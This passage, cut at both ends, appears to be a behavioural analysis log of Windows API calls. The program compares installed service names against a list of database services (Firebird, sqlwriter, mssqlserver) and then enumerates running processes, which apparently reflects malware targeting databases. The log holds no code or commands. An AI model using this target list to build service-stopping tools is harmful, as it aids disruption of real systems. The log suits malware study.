lpString2="BFE") returned 1 [0143.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0143.225] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0143.225] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0143.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0143.225] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0143.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0143.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0143.225] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0143.225] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0143.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0143.225] lstrlenW (lpString="CDPSvc") returned 6 [0143.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0143.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0143.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0143.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0143.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0143.225] lstrlenW (lpString="ClickToRunSvc") returned 13 [0143.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0143.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0143.225] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0143.225] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0143.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0143.225] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0143.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0143.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0143.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0143.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0143.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0143.225] lstrlenW (lpString="CryptSvc") returned 8 [0143.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0143.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0143.226] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0143.226] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0143.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0143.226] lstrlenW (lpString="DcomLaunch") returned 10 [0143.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0143.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0143.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0143.226] lstrlenW (lpString="DeviceAssociationService") returned 24 [0143.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0143.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0143.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0143.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0143.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0143.226] lstrlenW (lpString="Dhcp") returned 4 [0143.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0143.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0143.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0143.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0143.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0143.226] lstrlenW (lpString="Dnscache") returned 8 [0143.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0143.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0143.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0143.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0143.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0143.226] lstrlenW (lpString="DPS") returned 3 [0143.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0143.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0143.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0143.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0143.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0143.227] lstrlenW (lpString="DusmSvc") returned 7 [0143.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0143.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0143.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0143.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0143.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0143.227] lstrlenW (lpString="EventLog") returned 8 [0143.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0143.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0143.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0143.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0143.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0143.227] lstrlenW (lpString="EventSystem") returned 11 [0143.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0143.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0143.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0143.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0143.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0143.227] lstrlenW (lpString="FontCache") returned 9 [0143.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0143.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0143.227] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0143.228] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0143.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0143.228] lstrlenW (lpString="gpsvc") returned 5 [0143.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0143.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0143.228] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0143.228] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0143.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0143.228] lstrlenW (lpString="iphlpsvc") returned 8 [0143.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0143.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0143.228] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0143.228] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0143.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0143.228] lstrlenW (lpString="KeyIso") returned 6 [0143.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0143.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0143.228] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0143.228] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0143.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0143.228] lstrlenW (lpString="LanmanServer") returned 12 [0143.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0143.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0143.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0143.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0143.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0143.228] lstrlenW (lpString="LanmanWorkstation") returned 17 [0143.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0143.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0143.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0143.229] lstrlenW (lpString="lfsvc") returned 5 [0143.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0143.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0143.229] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0143.229] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0143.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0143.229] lstrlenW (lpString="lmhosts") returned 7 [0143.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0143.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0143.229] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0143.229] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0143.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0143.229] lstrlenW (lpString="LSM") returned 3 [0143.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0143.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0143.229] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0143.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0143.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0143.229] lstrlenW (lpString="MpsSvc") returned 6 [0143.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0143.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0143.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0143.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0143.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0143.229] lstrlenW (lpString="NcbService") returned 10 [0143.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0143.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0143.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0143.229] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0143.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0143.230] lstrlenW (lpString="netprofm") returned 8 [0143.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0143.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0143.230] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0143.230] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0143.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0143.230] lstrlenW (lpString="NgcSvc") returned 6 [0143.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0143.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0143.261] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0143.261] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0143.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0143.262] lstrlenW (lpString="NlaSvc") returned 6 [0143.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0143.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0143.262] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0143.262] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0143.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0143.262] lstrlenW (lpString="nsi") returned 3 [0143.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0143.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0143.262] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0143.262] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0143.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0143.262] lstrlenW (lpString="PcaSvc") returned 6 [0143.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0143.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0143.262] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0143.262] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0143.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0143.262] lstrlenW (lpString="PlugPlay") returned 8 [0143.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0143.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0143.263] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0143.263] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0143.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0143.263] lstrlenW (lpString="Power") returned 5 [0143.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0143.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0143.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0143.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0143.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0143.263] lstrlenW (lpString="ProfSvc") returned 7 [0143.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0143.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0143.263] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0143.263] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0143.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0143.263] lstrlenW (lpString="RpcEptMapper") returned 12 [0143.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.263] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0143.263] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0143.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0143.263] lstrlenW (lpString="RpcSs") returned 5 [0143.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0143.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0143.263] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0143.263] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0143.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0143.263] lstrlenW (lpString="SamSs") returned 5 [0143.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0143.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0143.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0143.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0143.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0143.264] lstrlenW (lpString="Schedule") returned 8 [0143.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0143.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0143.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0143.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0143.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0143.264] lstrlenW (lpString="SecurityHealthService") returned 21 [0143.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0143.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0143.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0143.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0143.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0143.264] lstrlenW (lpString="SENS") returned 4 [0143.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0143.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0143.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0143.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0143.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0143.264] lstrlenW (lpString="ShellHWDetection") returned 16 [0143.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.264] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0143.264] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0143.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0143.264] lstrlenW (lpString="Spooler") returned 7 [0143.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0143.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0143.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0143.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0143.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0143.265] lstrlenW (lpString="StateRepository") returned 15 [0143.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0143.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0143.265] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0143.265] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0143.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0143.265] lstrlenW (lpString="SysMain") returned 7 [0143.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0143.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0143.265] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0143.265] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0143.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0143.275] lstrlenW (lpString="SystemEventsBroker") returned 18 [0143.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0143.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0143.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0143.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0143.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0143.275] lstrlenW (lpString="Themes") returned 6 [0143.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0143.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0143.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0143.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0143.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0143.275] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0143.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0143.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0143.275] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0143.275] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0143.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e91b0 | out: hHeap=0x510000) returned 1 [0143.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550 [0143.278] Process32FirstW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.279] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0143.279] lstrlenW (lpString="System") returned 6 [0143.280] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0143.280] lstrlenW (lpString="smss.exe") returned 8 [0143.280] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.281] lstrlenW (lpString="csrss.exe") returned 9 [0143.281] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0143.282] lstrlenW (lpString="wininit.exe") returned 11 [0143.282] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.283] lstrlenW (lpString="csrss.exe") returned 9 [0143.283] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0143.284] lstrlenW (lpString="winlogon.exe") returned 12 [0143.284] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0143.285] lstrlenW (lpString="services.exe") returned 12 [0143.285] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0143.285] lstrlenW (lpString="lsass.exe") returned 9 [0143.285] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.286] lstrlenW (lpString="svchost.exe") returned 11 [0143.286] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0143.287] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0143.287] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0143.287] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0143.287] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) 